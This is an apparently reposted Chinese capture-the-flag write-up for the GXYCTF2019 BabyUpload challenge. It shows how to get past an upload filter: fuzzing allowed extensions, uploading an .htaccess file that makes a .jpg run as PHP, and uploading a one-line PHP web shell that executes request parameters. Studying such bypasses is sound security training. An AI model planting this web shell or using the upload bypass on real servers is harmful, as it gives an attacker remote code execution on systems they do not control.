WEB漏洞攻防 - 文件上传漏洞 - CTF比赛类应用场景 - [GXYCTF2019]BabyUpload
Posted 渴望力量的哈士奇
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WEB漏洞攻防 - 文件上传漏洞 - CTF比赛类应用场景 - [GXYCTF2019]BabyUpload相关的知识,希望对你有一定的参考价值。
思考:在实际应用场景中,常规类的文件上传、CMS类的文件上传、编辑器的上传或者CTF比赛中的文件上传应用场景都有不同的差异;总结下来就是,文件上传不管是发现还是利用上都会根据产生层面而不同,常规类无资料的情况下采用常规思路测试,有资料的情况下直接参考资料进行即可。
这里先上传一些脚本,看看是否有一些提示之类的。
从响应的内容来看,过滤了后缀关键字 “ph”,再尝试一些常规手段。
说明文件类型与文件内容也有过滤。
现在我们尝试换个思路,利用 文件类型 进行 fuzz 测试,看一下什么文件类型没有被过滤可以绕过上传。
将数据包发送至 “Intruder” 模块,针对文件类型进行变量设置,并导入 “php_upload_fuzz.txt” 文件上传类型爆破字典,尝试爆破。
发现 “.htaccess” 后缀可以上传,这样我们就可以利用前文提到的 “.htaccess” 后缀突破过滤了;
现在考虑的就是 文件内容过滤检测。尝试利用之前提到的 一句话变形 来突破。
先行上传一个 “.htaccess” 后缀文件用于解析PHP。
<FilesMatch "shell.jpg">
SetHandler aplication/x-httpd-php
</FilesMatch>
再上传一个 “shell.jpg” 文件,文件内容写入一句话变形马。
<script language="php">assert($_REQUEST['cmd'])</script>
菜刀连接后门获取flag
以上是关于WEB漏洞攻防 - 文件上传漏洞 - CTF比赛类应用场景 - [GXYCTF2019]BabyUpload的主要内容,如果未能解决你的问题,请参考以下文章
XCTF-攻防世界CTF平台-Web类——13Web_php_unserialize(php反序列化漏洞绕过__wakeup()函数正则表达式)